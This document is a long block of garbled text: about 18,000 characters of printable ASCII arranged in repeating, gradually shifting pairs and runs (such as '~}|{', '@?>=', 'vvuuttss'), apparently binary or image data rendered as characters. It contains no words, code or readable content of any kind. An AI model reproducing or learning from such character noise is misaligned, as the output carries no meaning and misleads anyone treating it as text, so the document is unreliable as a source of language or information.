}~}|{|{|{|{zyzyzyzyxwxwxwxwvuvuvuvurqrqrqrqpopopoponmnmnmnmklklklkljijijijihghghghgfefefefebabababa`_`_`_`_^]^]^]^]\[\[\[\[ZYZYZYZYXWXWXWXWVUVUVUVUTSTSTSTSPOPOPOPONMNMNMNMLKLKLKLKJIJIJIJIHGHGHGHGFEFEFEFEDCDCDCDC~}~}~}~}|{|{|{|{zyzyzyzyxwxwxwxwvuvuvutsrqrqrqrqpopopoponmnmnmnmklklklkljijijijihghghghgfefedcdcbabababa`_`_`_`_^]^]^]^]\[\[\[\[ZYZYZYZYXWXWXWXWVUVUVUVUTSTSTSTSPOPOPOPONMNMNMNMLKLKLKLKJIJIJIJIHGHGHGHGFEFEFEFEDCDCDCDC~}~}~}~}|{|{|{|{zyzyzyzyxwxwxwxwtstststsrqrqrqrqpopopoponmnmnmnmklklklkljijijijihghghghgdcdcdcdcbabababa`_`_`_`_^]^]^]^]\[\[\[\[ZYZYZYZYXWXWXWXWVUVUVUVUTSTSRQRQPOPOPOPONMNMNMNMLKLKLKLKJIJIJIJIHGHGHGHGFEFEFEFEDCDCDCDC~}~}~}~}|{|{|{|{zyzyzyzyxwxwxwxwtstststsrqrqrqrqpopopoponmnmnmnmkkkkkklkjijijijihghghghgdcdcdcdcbabababa`_`_`_`_^]^]^]^]\[\[\[\[ZYZYZYZYXWXWXWXWVUVUVUVURQRQQQQQPOPOPOPONMNMNMNMLKLKLKLKJIJIJIJIHGHGHGHGFEFEFEFEDCDCDCDC~}~}~}~}|{|{|{|{zyzyzyzyxwxwxwvutstststsrqrqrqrqpopopoponmnmnmnmlklklklkjijijijihghgfefedcdcdcdcbabababa`_`_`_`_^]^]^]^]\[\[\[\[ZYZYZYZYXWXWXWXWVUVUVUVURQRQRQRQPOPOPOPONMNMNMNMLKLKLKLKJIJIJIJIHGHGHGHGFEFEFEFEDCDCDCDC~}~}~}~}|{|{|{|{zyzyzyzyvuvuvuvutstststsrqrqrqrqpopopoponmnmnmnmlklklklkjijijijifefefefedcdcdcdcbabababa`_`_`_`_^]^]^]^]\[\[\[\[ZYZYZYZYXWXWXWXWVUVUVUVURQRQRQRQPOPOPOPONMNMNMNMLKLKLKLKJIJIJIJIHGHGHGHGFEFEFEFEDCDCDCDC~}~}~}~}|{|{|{|{zyzyzyzyvuvuvuvutstststsrqrqrqrqpopopoponmnmnmnmlklklklkjijijijifefefefedcdcdcdcbabababa`_`_`_`_^]^]^]^]\[\[\[\[ZYZYZYZYXWXWXWXWVUVUVUVURQRQRQRQPOPOPOPONMNMNMNMLKLKLKLKJIJIJIJIHGHGHGHGFEFEFEFEDCDCDCDC~}~}~}~}|{|{|{|{zyzyzyxwvuvuvuvutstststsrqrqrqrqpopopoponmnmnmnmlklklklkjijihghgfefefefedcdcdcdcbabababa`_`_`_`_^]^]^]^]\[\[\[\[ZYZYZYZYXWXWXWXWVUVUVUVURQRQRQRQPOPOPOPONMNMNMNMLKLKLKLKJIJIJIJIHGHGHGHGFEFEFEFEDCDCDCDC~}~}~}~}|{|{|{|{xwxwxwxwvuvuvuvutstststsrqrqrqrqpopopoponmnmnmnmlklklklkhghghghgfefefefedcdcdcdcbabababa`_`_`_`_^]^]^]^]\[\[\[\[ZYZYZYZYXWXWXWXWVUVUVUVURQRQRQRQPOPOPOPONMNMNMNMLKLKLKLKJIJIJIJIHGHGHGHGFEFEFEFEDCDCDCDCBABABABA~}~}~}~}|{|{|{|{xwxwxwxwvuvuvuvutstststsrqrqrqrqpopopoponmnmnmnmkkkklklkhghghghgfefefefedcdcdcdcbabababa`_`_`_`_^]^]^]^]\[\[\[\[ZYZYZYZYXWXWXWXWVUVUVUVURQQQQQQRPOPOPOPONMNMNMNMLKLKLKLKJIJIJIJIHGHGHGHGFEFEFEFEDCDCDCDCBABABABA~}~}~}~}|{|{|{zyxwxwxwxwvuvuvuvutstststsrqrqrqrqpopopoponmnmnmnmlklkjijihghghghgfefefefedcdcdcdcbabababa`_`_`_`_^]^]^]^]\[\[\[\[ZYZYZYZYXWXWXWXWVUVUVUVUQRQRQRQRPOPOPOPONMNMNMNMLKLKLKLKJIJIJIJIHGHGHGHGFEFEFEFEDCDCDCDCBABABABA~}~}~}~}zyzyzyzyxwxwxwxwvuvuvuvutstststsrqrqrqrqpopopoponmnmnmnmjijijijihghghghgfefefefedcdcdcdcbabababa`_`_`_`_^]^]^]^]\[\[\[\[ZYZYZYZYXWXWXWXWVUVUVUVUQRQRQRQRPOPOPOPONMNMNMNMLKLKLKLKJIJIJIJIHGHGHGHGFEFEFEFEDCDCDCDCBABABABA~}~}~}~}zyzyzyzyxwxwxwxwvuvuvuvutstststsrqrqrqrqpopopoponmnmnmnmjijijijihghghghgfefefefedcdcdcdcbabababa`_`_`_`_^]^]^]^]\[\[\[\[ZYZYZYZYXWXWXWXWVUVUVUVUQRQRQRQRPOPOPOPONMNMNMNMLKLKLKLKJIJIJIJIHGHGHGHGFEFEFEFEDCDCDCDCBABABABA~}~}~}|{zyzyzyzyxwxwxwxwvuvuvuvutstststsrqrqrqrqpopopoponmnmnmnmjijijijihghghghgfefefefedcdcdcdcbabababa`_`_`_`_^]^]^]^]\[\[\[\[ZYZYZYZYXWXWXWXWVUVUVUVUQRQRQRQRPOPOPOPONMNMNMNMLKLKLKLKJIJIJIJIHGHGHGHGFEFEFEFEDCDCDCDCBABABABA|{|{|{|{zyzyzyzyxwxwxwxwvuvuvuvutstststsrqrqrqrqpopopoponmnmnmnmjijijijihghghghgfefefefedcdcdcdcbabababa`_`_`_`_^]^]^]^]\[\[\[\[ZYZYZYZYXWXWXWXWTSTSTSTSQRQRQRQRPOPOPOPONMNMNMNMLKLKLKLKJIJIJIJIHGHGHGHGFEFEFEFEDCDCDCDCBABABABA|{|{|{|{zyzyzyzyxwxwxwxwvuvuvuvutstststsrqrqrqrqpopopoponmnmnmnmjijijijihghghghgfefefefedcdcdcdcbabababa`_`_`_`_^]^]^]^]\[\[\[\[ZYZYZYZYXWXWXWXWTSTSTSTSQQQQQQRQPOPOPOPONMNMNMNMLKLKLKLKJIJIJIJIHGHGHGHGFEFEFEFEDCDCDCDCBABABABA~}|{|{|{|{zyzyzyzyxwxwxwxwvuvuvuvutstststsrqrqrqrqpopopoponmnmnmnmjijijijihghghghgfefefefedcdcdcdcbabababa`_`_`_`_^]^]^]^]\[\[\[\[ZYZYZYZYXWXWXWXWTSTSTSTSRQRQRQRQPOPOPOPONMNMNMNMLKLKLKLKJIJIJIJIHGHGHGHGFEFEFEFEDCDCDCDCBABABABA~}~}~}~}|{|{|{|{zyzyzyzyxwxwxwxwvuvuvuvutstststsrqrqrqrqpopopoponmnmnmlkjijijijihghghghgfefefefedcdcdcdcbabababa`_`_`_`_^]^]^]^]\[\[\[\[ZYZYZYZYXWXWXWXWTSTSTSTSRQRQRQRQPOPOPOPONMNMNMNMLKLKLKLKJIJIJIJIHGHGHGHGFEFEFEFEDCDCDCDCBABABABA~}~}~}~}|{|{|{|{zyzyzyzyxwxwxwxwvuvuvuvutstststsrqrqrqrqpopopopolklklkkkjijijijihghghghgfefefefedcdcdcdcbabababa`_`_`_`_^]^]^]^]\[\[\[\[ZYZYZYZYXWXWXWXWTSTSTSTSRQRQRQRQPOPOPOPONMNMNMNMLKLKLKLKJIJIJIJIHGHGHGHGFEFEFEFEDCDCDCDCBABABABA~}~}~}~}|{|{|{|{zyzyzyzyxwxwxwxwvuvuvuvutstststsrqrqrqrqpopopopokkklklkljijijijihghghghgfefefefedcdcdcdcbabababa`_`_`_`_^]^]^]^]\[\[\[\[ZYZYZYZYXWXWXWXWTSTSTSTSRQRQRQRQPOPOPOPONMNMNMNMLKLKLKLKJIJIJIJIHGHGHGHGFEFEFEFEDCBABABABABABABA~}~}~}~}|{|{|{|{zyzyzyzyxwxwxwxwvuvuvuvutstststsrqrqrqrqpopopopoklklklkljijijijihghghghgfefefefedcdcdcdcbabababa`_`_`_`_^]^]^]^]\[\[\[\[ZYZYZYZYXWXWXWXWTSTSTSTSRQRQRQRQPOPOPOPONMNMNMNMLKLKLKLKJIJIJIJIHGHGHGHGFEFEFEFEBABABABABABABABA~}~}~}~}|{|{|{|{zyzyzyzyxwxwxwxwvuvuvuvutstststsrqrqrqrqpopopopoklklklkljijijijihghghghgfefefefedcdcdcdcbabababa`_`_`_`_^]^]^]^]\[\[\[\[ZYZYZYZYXWXWXWXWTSTSTSTSQQQQQRQRPOPOPOPONMNMNMNMLKLKLKLKJIJIJIJIHGHGHGHGFEFEFEFEBABABABABABABABA~}~}~}~}|{|{|{|{zyzyzyzyxwxwxwxwvuvuvuvutstststsrqrqrqrqpopopopoklklklkljijijijihghghghgfefefefedcdcdcdcbabababa`_`_`_`_^]^]^]^]\[\[\[\[ZYZYZYZYXWXWXWXWTSTSTSTSQRQRQRQRPOPOPOPONMNMNMNMLKLKLKLKJIJIJIJIHGHGHGHGFEDCDCDCBABABABABABABABA~}~}~}~}|{|{|{|{zyzyzyzyxwxwxwxwvuvuvuvutstststsrqrqrqrqpopopopoklklklkljijijijihghghghgfefefefedcdcdcdcbabababa`_`_`_`_^]^]^]^]\[\[\[\[ZYZYZYZYXWXWXWXWTSTSTSTSQRQRQRQRPOPOPOPONMNMNMNMLKLKLKLKJIJIJIJIHGHGHGHGDCDCDCDCBABABABABABABABA~}~}~}~}|{|{|{|{zyzyzyzyxwxwxwxwvuvuvuvutstststsrqrqrqrqpopopopoklklkkkkjijijijihghghghgfefefefedcdcdcdcbabababa`_`_`_`_^]^]^]^]\[\[\[\[ZYZYZYZYXWXWXWXWTSTSTSTSQRQRQRQRPOPOPOPONMNMNMNMLKLKLKLKJIJIJIJIHGHGHGHGDCDCDCDCBABABABABABABABA~}~}~}~}|{|{|{|{zyzyzyzyxwxwxwxwvuvuvuvutstststsrqrqrqrqpopopopokklklklkjijijijihghghghgfefefefedcdcdcdcbabababa`_`_`_`_^]^]^]^]\[\[\[\[ZYZYZYZYXWXWVUVUTSTSTSTSQRQRQRQRPOPOPOPONMNMNMNMLKLKLKLKJIJIJIJIHGFEFEFEDCDCDCDCBABABABABABABABA~}~}~}~}|{|{|{|{zyzyzyzyxwxwxwxwvuvuvuvutstststsrqrqrqrqpopopopolklklklkjijijijihghghghgfefefefedcdcdcdcbabababa`_`_`_`_^]^]^]^]\[\[\[\[ZYZYZYZYVUVUVUVUTSTSTSTSQRQRQRQQPOPOPOPONMNMNMNMLKLKLKLKJIJIJIJIFEFEFEFEDCDCDCDCBABABABABABABABA~}~}~}~}|{|{|{|{zyzyzyzyxwxwxwxwvuvuvuvutstststsrqrqrqrqpopopopolklklklkjijijijihghghghgfefefefedcdcdcdcbabababa`_`_`_`_^]^]^]^]\[\[\[\[ZYZYZYZYVUVUVUVUTSTSTSTSQQQQRQRQPOPOPOPONMNMNMNMLKLKLKLKJIJIJIJIFEFEFEFEDCDCDCDCBABABABABABABABA~}~}~}~}|{|{|{|{zyzyzyzyxwxwxwxwvuvuvuvutstststsrqrqrqrqpopopopolklklklkjijijijihghghghgfefefefedcdcdcdcbabababa`_`_`_`_^]^]^]^]\[\[\[\[ZYZYXWXWVUVUVUVUTSTSTSTSRQRQRQRQPOPOPOPONMNMNMNMLKLKLKLKJIHGHGHGFEFEFEFEDCDCDCDCBABABABABABABABA~}~}~}~}|{|{|{|{zyzyzyzyxwxwxwxwvuvuvuvutstststsrqrqrqrqponmnmnmlklklklkjijijijihghghghgfefefefedcdcdcdcbabababa`_`_`_`_^]^]^]^]\[\[\[\[XWXWXWXWVUVUVUVUTSTSTSTSRQRQRQRQPOPOPOPONMNMNMNMLKLKLKLKHGHGHGHGFEFEFEFEDCDCDCDCBABABABABA@?@?@?~}~}~}~}|{|{|{|{zyzyzyzyxwxwxwxwvuvuvuvutstststsrqrqrqrqnmnmnmnmlklkkkkkjijijijihghghghgfefefefedcdcdcdcbabababa`_`_`_`_^]^]^]^]\[\[\[\[XWXWXWXWVUVUVUVUTSTSTSTSRQRQRQRQPOPOPOPONMNMNMNMLKLKLKLKHGHGHGHGFEFEFEFEDCDCDCDCBABABABA@?@?@?@?~}~}~}~}|{|{|{|{zyzyzyzyxwxwxwxwvuvuvuvutstststsrqrqrqrqnmnmnmnmklklklkljijijijihghghghgfefefefedcdcdcdcbabababa`_`_`_`_^]^]^]^]\[\[ZYZYXWXWXWXWVUVUVUVUTSTSTSTSRQRQRQRQPOPOPOPONMNMNMNMLKJIJIJIHGHGHGHGFEFEFEFEDCDCDCDCBABABABA@?@?@?@?~}~}~}~}|{|{|{|{zyzyzyzyxwxwxwxwvuvuvuvutstststsrqrqrqrqnmnmnmnmklklklkljijijijihghghghgfefefefedcdcdcdcbabababa`_`_`_`_^]^]^]^]ZYZYZYZYXWXWXWXWVUVUVUVUTSTSTSTSRQRQRQQQPOPOPOPONMNMNMNMJIJIJIJIHGHGHGHGFEFEFEFEDCDCDCDCBABABABA@?@?@?@?~}~}~}~}|{|{|{|{zyzyzyzyxwxwxwxwvuvuvuvutstststsrqrqrqrqnmnmnmnmklklklkljijijijihghghghgfefefefedcdcdcdcbabababa`_`_`_`_^]^]^]^]ZYZYZYZYXWXWXWXWVUVUVUVUTSTSTSTSQQQRQRQRPOPOPOPONMNMNMNMJIJIJIJIHGHGHGHGFEFEFEFEDCDCDCDCBABABABA@?@?@?@?~}~}~}~}|{|{|{|{zyzyzyzyxwxwxwxwvuvuvuvutstststsrqrqrqrqnmnmnmnmklklklkljijijijihghghghgfefefefedcdcdcdcbabababa`_`_`_`_^]^]\[\[ZYZYZYZYXWXWXWXWVUVUVUVUTSTSTSTSQRQRQRQRPOPOPOPONMLKLKLKJIJIJIJIHGHGHGHGFEFEFEFEDCDCDCDCBABABABA@?@?@?@?~}~}~}~}|{|{|{|{zyzyzyzyxwxwxwxwvuvuvuvutstststsrqrqrqrqnmnmnmnmklklklkljijijijihghghghgfefefefedcdcdcdcbabababa`_`_`_`_\[\[\[\[ZYZYZYZYXWXWXWXWVUVUVUVUTSTSTSTSQRQRQRQRPOPOPOPOLKLKLKLKJIJIJIJIHGHGHGHGFEFEFEFEDCDCDCDCBABABABA@?@?@?@?~}~}~}~}|{|{|{|{zyzyzyzyxwxwxwxwvuvuvuvutstststsrqrqrqrqnmnmnmnmklkkkkkkjijijijihghghghgfefefefedcdcdcdcbabababa`_`_`_`_\[\[\[\[ZYZYZYZYXWXWXWXWVUVUVUVUTSTSTSTSQRQRQRQRPOPOPOPOLKLKLKLKJIJIJIJIHGHGHGHGFEFEFEFEDCDCDCDCBABABABA@?@?@?@?~}~}~}~}|{|{|{|{zyzyzyzyxwxwxwxwvuvuvuvutstststsrqrqrqrqnmnmnmnmlklklklkjijijijihghghghgfefefefedcdcdcdcbabababa`_`_^]^]\[\[\[\[ZYZYZYZYXWXWXWXWVUVUVUVUTSTSTSTSQRQRQRQRPONMNMNMLKLKLKLKJIJIJIJIHGHGHGHGFEFEFEFEDCDCDCDCBABABABA@?@?@?@?~}~}~}~}|{|{|{|{zyzyzyzyxwxwxwxwvuvuvuvutstststsrqrqrqrqnmnmnmnmlklklklkjijijijihghghghgfefefefedcdcdcdcbabababa^]^]^]^]\[\[\[\[ZYZYZYZYXWXWXWXWVUVUVUVUTSTSTSTSQRQRQQQQNMNMNMNMLKLKLKLKJIJIJIJIHGHGHGHGFEFEFEFEDCDCDCDCBABABABA@?@?@?@?~}~}~}~}|{|{|{|{zyzyzyzyxwxwxwxwvuvuvuvutstststsrqrqrqrqnmnmnmnmlklklklkjijijijihghghghgfefefefedcdcdcdcbabababa^]^]^]^]\[\[\[\[ZYZYZYZYXWXWXWXWVUVUVUVUTSTSTSTSQQRQRQRQNMNMNMNMLKLKLKLKJIJIJIJIHGHGHGHGFEFEFEFEDCDCDCDCBABABABA@?@?@?@?@?@?@?@?>=>=>=>=<;<;<;<;:9:9:9:96565656543434343212121210/0/0/0/.-.-.-.-,+,+,+,+*)*)*)*)('('('('&%&%&%&%$#$#$#$#"!"!"!"!    - @?@?@?@?>=>=>=>=<;<;<;<;:9:9:9:96565656543434343212121210/0/0/0/.-.-.-.-,+,+,+,+*)*)*)*)('('('('&%&%&%&%$#$#$#$#"!"!      - - - - @?@?@?@?>=>=>=>=<;<;<;<;:9:9:9:96565656543434343212121210/0/0/0/.-.-.-.-,+,+,+,+*)*)*)*)('('('('&%&%&%&%$#$#$#$#        - - - - @?@?@?@?>=>=>=>=<;<;<;<;:9:9:9:96565656543434343212121210/0/0/0/.-.-.-.-,+,+,+,+*)*)*)*)('('('('&%&%&%&%$#$#$#$#       - - - - @?@?@?@?>=>=>=>=<;<;<;<;:9:9:9:96565656543434343212121210/0/0/0/.-.-.-.-,+,+,+,+*)*)*)*)('('('('&%&%&%&%$#$#$#$#     - - - - @?@?@?@?>=>=>=>=<;<;<;<;:98787876565656543434343212121210/0/0/0/.-.-.-.-,+,+,+,+*)*)*)*)('('('('&%&%&%&%$#$#$#$#     - - - - @?@?@?@?>=>=>=>=<;<;<;<;877777786565656543434343212121210/0/0/0/.-.-.-.-,+,+,+,+*)*)*)*)('('('('&%&%&%&%$#$#$#$#     - - - - @?@?@?@?>=>=>=>=<;<;<;<;787878786565656543434343212121210/0/0/0/.-.-.-.-,+,+,+,+*)*)*)*)('('('('&%&%&%&%$#$#$#$#        - - - - @?@?@?@?>=>=>=>=<;<;<;<;787878786565656543434343212121210/0/0/0/.-.-.-.-,+,+,+,+*)*)*)*)('('('('&%&%&%&%$#$#$#$#        - - - - @?@?@?@?>=>=>=>=<;<;<;<;787878786565656543434343212121210/0/0/0/.-.-.-.-,+,+,+,+*)*)*)*)('('('('&%&%&%&%$#$#$#$#        - - - - @?@?@?@?>=>=>=>=<;<;<;<;787878786565656543434343212121210/0/0/0/.-.-.-.-,+,+,+,+*)*)*)*)('('('('&%&%&%&%$#$#$#$#        - - - - @?@?@?@?>=>=>=>=<;<;<;<;787878786565656543434343212121210/0/0/0/.-.-.-.-,+,+,+,+*)*)*)*)('('('('&%&%&%&%$#$#$#$#        - - - - @?@?@?@?>=>=>=>=<;<;<;<;777777876565656543434343212121210/0/0/0/.-.-.-.-,+,+,+,+*)*)*)*)('('('('&%&%&%&%$#$#$#$#        - - - - @?@?@?@?>=>=>=>=<;<;<;<;878787876565656543434343212121210/0/0/0/.-.-.-.-,+,+,+,+*)*)*)*)('('('('&%&%&%&%"!"!"!"!        - - - - @?@?@?@?>=>=>=>=<;<;<;<;878787876565656543434343212121210/0/0/0/.-.-.-.-,+,+,+,+*)*)*)*)('('('('&%&%&%&%"!"!"!"!        - - - - @?@?@?@?>=>=>=>=<;<;<;<;878787876565656543434343212121210/0/0/0/.-.-.-.-,+,+,+,+*)*)*)*)('('('('&%&%&%&%"!"!"!"!        - - - - @?@?@?@?>=>=>=>=<;<;<;:9878787876565656543434343212121210/0/0/0/.-.-.-.-,+,+,+,+*)*)*)*)('('('('$#$#$#$#"!"!"!"!        - - - - @?@?@?@?>=>=>=>=:9:9:9:9878787876565656543434343212121210/0/0/0/.-.-.-.-,+,+,+,+*)*)*)*)('('('('$#$#$#$#"!"!"!"!        - - - - @?@?@?@?>=>=>=>=:9:9:9:9777778786565656543434343212121210/0/0/0/.-.-.-.-,+,+,+,+*)*)*)*)('('('('$#$#$#$#"!"!"!"!        - - - - @?@?@?@?>=>=>=>=:9:9:9:9787878786565656543434343212121210/0/0/0/.-.-.-.-,+,+,+,+*)*)*)*)&%&%&%&%$#$#$#$#"!"!"!"!        - - - - @?@?@?@?>=>=>=>=:9:9:9:9787878786565656543434343212121210/0/0/0/.-.-.-.-,+,+,+,+*)*)*)*)&%&%&%&%$#$#$#$#"!"!"!"!        - - - - @?@?@?@?>=>=>=>=:9:9:9:9787878786565656543434343212121210/0/0/0/.-.-.-.-,+,+,+,+*)*)*)*)&%&%&%&%$#$#$#$#"!"!"!"!        - - - - @?@?@?@?>=>=>=>=:9:9:9:9787878786565656543434343212121210/0/0/0/.-.-.-.-,+,+,+,+('('('('&%&%&%&%$#$#$#$#"!"!"!"!        - - - - @?@?@?@?>=>=>=>=:9:9:9:9787878776565656543434343212121210/0/0/0/.-.-.-.-,+,+,+,+('('('('&%&%&%&%$#$#$#$#"!"!"!"!        - - - - @?@?@?@?>=>=>=>=:9:9:9:9777787876565656543434343212121210/0/0/0/.-.-.-.-,+,+,+,+('('('('&%&%&%&%$#$#$#$#"!"!"!"!        - - - - @?@?@?@?>=>=>=>=:9:9:9:9878787876565656543434343212121210/0/0/0/.-.-.-.-*)*)*)*)('('('('&%&%&%&%$#$#$#$#"!"!"!"!        - - - - @?@?@?@?>=>=>=>=:9:9:9:9878787876565656543434343212121210/0/0/0/.-.-.-.-*)*)*)*)('('('('&%&%&%&%$#$#$#$#"!"!"!"!        - - - - @?@?@?@?>=>=>=>=:9:9:9:9878787876565656543434343212121210/0/0/0/.-.-.-.-*)*)*)*)('('('('&%&%&%&%$#$#$#$#"!"!"!"!        - - - - @?@?@?@?>=<;<;<;:9:9:9:9878787876565656543434343212121210/0/0/0/,+,+,+,+*)*)*)*)('('('('&%&%&%&%$#$#$#$#"!"!"!"!        - - - - @?@?@?@?<;<;<;<;:9:9:9:9878787776565656543434343212121210/0/0/0/,+,+,+,+*)*)*)*)('('('('&%&%&%&%$#$#$#$#"!"!"!"!        - - - - @?@?@?@?<;<;<;<;:9:9:9:9777878786565656543434343212121210/0/0/0/,+,+,+,+*)*)*)*)('('('('&%&%&%&%$#$#$#$#"!"!"!"!        - - - - @?>=>=>=<;<;<;<;:9:9:9:978787878656565654343434321212121.-.-.-.-,+,+,+,+*)*)*)*)('('('('&%&%&%&%$#$#$#$#"!"!"!"!        - - - - >=>=>=>=<;<;<;<;:9:9:9:978787878656565654343434321212121.-.-.-.-,+,+,+,+*)*)*)*)('('('('&%&%&%&%$#$#$#$#"!"!"!"!        - - - - >=>=>=>=<;<;<;<;:9:9:9:978787878656565654343434321212121.-.-.-.-,+,+,+,+*)*)*)*)('('('('&%&%&%&%$#$#$#$#"!"!"!"!        - - - - >=>=>=>=<;<;<;<;:9:9:9:97878787865656565434343430/0/0/0/.-.-.-.-,+,+,+,+*)*)*)*)('('('('&%&%&%&%$#$#$#$#"!"!"!"!        - - - - >=>=>=>=<;<;<;<;:9:9:9:97878777765656565434343430/0/0/0/.-.-.-.-,+,+,+,+*)*)*)*)('('('('&%&%&%&%$#$#$#$#"!"!"!"!    - - - - >=>=>=>=<;<;<;<;:9:9:9:97787878765656565434343430/0/0/0/.-.-.-.-,+,+,+,+*)*)*)*)('('('('&%&%&%&%$#$#$#$#"!"!"!"!    - - - - >=>=>=>=<;<;<;<;:9:9:9:98787878765656565212121210/0/0/0/.-.-.-.-,+,+,+,+*)*)*)*)('('('('&%&%&%&%$#$#$#$#"!"!"!"!    - - - - >=>=>=>=<;<;<;<;:9:9:9:98787878765656565212121210/0/0/0/.-.-.-.-,+,+,+,+*)*)*)*)('('('('&%&%&%&%$#$#$#$#"!"!"!"!    - - - - >=>=>=>=<;<;<;<;:9:9:9:98787878765656565212121210/0/0/0/.-.-.-.-,+,+,+,+*)*)*)*)('('('('&%&%&%&%$#$#$#$#"!"!"!"!    - - - - >=>=>=>=<;<;<;<;:9:9:9:98787878743434343212121210/0/0/0/.-.-.-.-,+,+,+,+*)*)*)*)('('('('&%&%&%&%$#$#$#$#"!"!"!"!    - - - - >=>=>=>=<;<;<;<;:9:9:9:98787777743434343212121210/0/0/0/.-.-.-.-,+,+,+,+*)*)*)*)('('('('&%&%&%&%$#$#$#$#"!"!"!"!    - - - - >=>=>=>=<;<;<;<;:9:9:9:98787878743434343212121210/0/0/0/.-.-.-.-,+,+,+,+*)*)*)*)('('('('&%&%&%&%$#$#$#$#"!"!"!"!    - - - >=>=>=>=<;<;<;<;:9:9:9:96565656543434343212121210/0/0/0/.-.-.-.-,+,+,+,+*)*)*)*)('('('('&%&%&%&%$#$#$#$#"!"!"!"!    >=>=>=>=<;<;<;<;:9:9:9:96565656543434343212121210/0/0/0/.-.-.-.-,+,+,+,+*)*)*)*)('('('('&%&%&%&%$#$#$#$#"!"!"!"!     vvuuttsswwxxyyzz - ---..//00ppoonnmmEEFFGGHHXXWWVVUU]]^^__``@@??>>== !"##$$%oonnmmllFFGGHHIIWWVVUUTT^^__``aa??>>==<>??aa``__^^!!""##$$rrqqkkjj{{||}}~~ 11223344llkkjjiiIIJJKKLLTTSSRRQQaabbccdd<<;;::99%&&''(()kkjjiihhJJKKLLMMSSRRQQPPbbccddee;;::9988zz{{||}}##""!! - - >>??@@AAAA@@??>>{{||}}~~""!!  - - ''(())**vvuuttssMMNNOOPP##(())**++uuttssrr@@AABBCC]]\\[[ZZ%%&&''((iihhggff ~~}}55667788hhggffeeMMNNOOPPPPOONNMMeeffgghh88776655)**++,,-ggffeeddNNOOPPQQOONNMMLLffgghhii77665544~~BBCCDDEE==<;:987++,,--..rrqqppooQQWWXXYY,,--..//qqppoonnDDEEFFGGYYXXWWVV))**++,,eeddccbb - - !!""##$$||{{zzyy99::;;<>??@@``__^^]]UUVVWWXXHHGGFFEEmmnnoopp00//..--12233445__^^]]\\VVWWXXYYGGFFEEDDnnooppqq//..--,,JJKKLLMM3221100/33445566jjiihhgg^^__``aa~~44556677iihhggffLLMMNNOOQQPPOONN11223344]]\\[[ZZ))**++,,ttssrrqqAABBCCDD\\[[ZZYYYYZZ[[\\DDCCBBAAqqrrsstt,,++**))5667789:[[ZZYYXXZZ[[\\]]CCBBAA@@rrssttuu++**))(( NNOOPPQQ/..--,,+ - - !!""~~}}||{{778899::ffeeddccbbccddee !!""##}}||{{zz8899::;;eeddccbbPPQQRRSSMMLLKKJJ55667788YYXXWWQQ--..//00ppoonnmmEEFFGGHHXXWWVVUU]]^^__``@@??>>==uuvvwwxx((''&&%%;<==>>??WWVVUUTT^^__``aa??>>==<>bbaa``__ffgghhii - - $$%%&&''yyxxwwvv<<==>>??aa``__^^TTUUVVWWIIHHGGFF99::;;<>??@@LLKKJJII ~~}}55667788hhggffeeMMNNOOPPPPOONNMMeeffgghh88776655}}~~ DDEEFFGGOONNMMLLffgghhii77665544~~~~__``aabb#"! ++,,--..rrqqppooCCDDEEFFZZYYXXWWssttuuvv,,--..//qqppoonnDDEEFFGGYYXXWWVV\\]]^^__AA@@??>>AABBCCDDHHGGFFEE!!""##$$||{{zzyy99::;;<>??@@``__^^]]UUVVWWXXHHGGFFEEmmnnoopp00//..--LLMMNNOOGGFFEEDDnnooppqq//..--,,yyxxwwvvgghhiijj33445566jjiihhggKKLLMMNNRRQQPPOO{{||}}~~ ~~44556677iihhggffLLMMNNOOQQPPOONNddeeffgg99887766||{{zzyyIIJJKKLL@@??>>==))**++,,ttssrrqqAABBCCDD\\[[ZZYYYYZZ[[\\DDCCBBAAqqrrsstt,,++**))PPQQRSTUCCBBAA@@rrssttuu++**))((  !!uuttssrrkkqqrrss - - !!""~~}}||{{778899::ffeeddccOOPPQQRRNNMMLLKK}}||{{zz8899::;;eeddccbbPPQQRRSSMMLLKKJJhhiijjkk55443322xxwwvvuuMMNNOOPP77665544--..//00ppoonnmmEEFFGGHHXXWWVVUU]]^^__``@@??>>==uuvvwwxx((''&&%% ~~}}VWWXXYYZ??>>==<>bbaa``__SSTTUUVVJJIIHHGGyyxxwwvv<<==>>??aa``__^^TTUUVVWWIIHHGGFFllmmnnoo1100//..ttssrrqqQQRRSSTT3322110011223344llkkjjiiIIJJKKLLTTSSRRQQaabbccdd<<;;::99yyzz{{||$$##""!! - - ||{{zzyyZ[[\\]]^;;::9988zz{{||}}##""!! - - &&''(())hhggffeexxyyzz{{ - - ''(())**vvuuttss??@@AABB^^]]\\[[WWXXYYZZFFEEDDCCuuttssrr@@AABBCC]]\\[[ZZXXYYZZ[[EEDDCCBBppqqrrss--,,++**TTUUVVWWppoonnmmUUVVWWXX//..--,,55667788hhggffeeMMNNOOPPPPOONNMMeeffgghh88776655}}~~ xxwwvvuu^__``aab77665544~~**++,,--ddccbbaa||}}~~++,,--..rrqqppooCCDDEEFFZZYYXXWW[[\\]]^^BBAA@@?? !"#qqppoonnDDEEFFGGYYXXWWVV\\]]^^__AA@@??>>ttuuvvww))((''&&XXYYZZ[[llkkjjiiYYZZ[[\\++**))((99::;;<>==<<;;#$$%%&&'mmllkkjjHHIIJJKKUUTTSSRR``aabbcc==<<;;::xxyyzz{{%%$$##""\\]]^^__hhggffee]]^^__``''&&%%$$==>>??@@``__^^]]UUVVWWXXHHGGFFEEmmnnoopp00//..--kkjjiihhfgghhiij//..--,,22334455\\[[ZZYY33445566jjiihhggKKLLMMNNRRQQPPOOccddeeff::998877'(())**+iihhggffLLMMNNOOQQPPOONNddeeffgg99887766||}}~~!! ``aabbccddccbbaaaabbccdd##AABBCCDD\\[[ZZYYYYZZ[[\\DDCCBBAAqqrrsstt,,++**)) - - ggffeeddjkklmnop++**))((  !!~~}}||66778899XXWWQQPP - - !!""~~}}||{{778899::ffeeddccOOPPQQRRNNMMLLKKgghhiijj66554433+,,--../eeddccbbPPQQRRSSMMLLKKJJhhiijjkk55443322ddeeffgg``__^^]]eeffgghhEEFFGGHHXXWWVVUU]]^^__``@@??>>==uuvvwwxx((''&&%% ccbbaa``qqrrsstt''&&%%$$ - - ""##$$%%{{zzyyxx::;;<<==OONNMMLL ##$$%%&&zzyyxxww;;<<==>>bbaa``__SSTTUUVVJJIIHHGGkkllmmnn221100///0011223aa``__^^TTUUVVWWIIHHGGFFllmmnnoo1100//..hhiijjkk\\[[ZZYYiijjkkll~~}}||IIJJKKLLTTSSRRQQaabbccdd<<;;::99yyzz{{||$$##""!! - - __^^]]\\uuvvwwxx##""!! - - 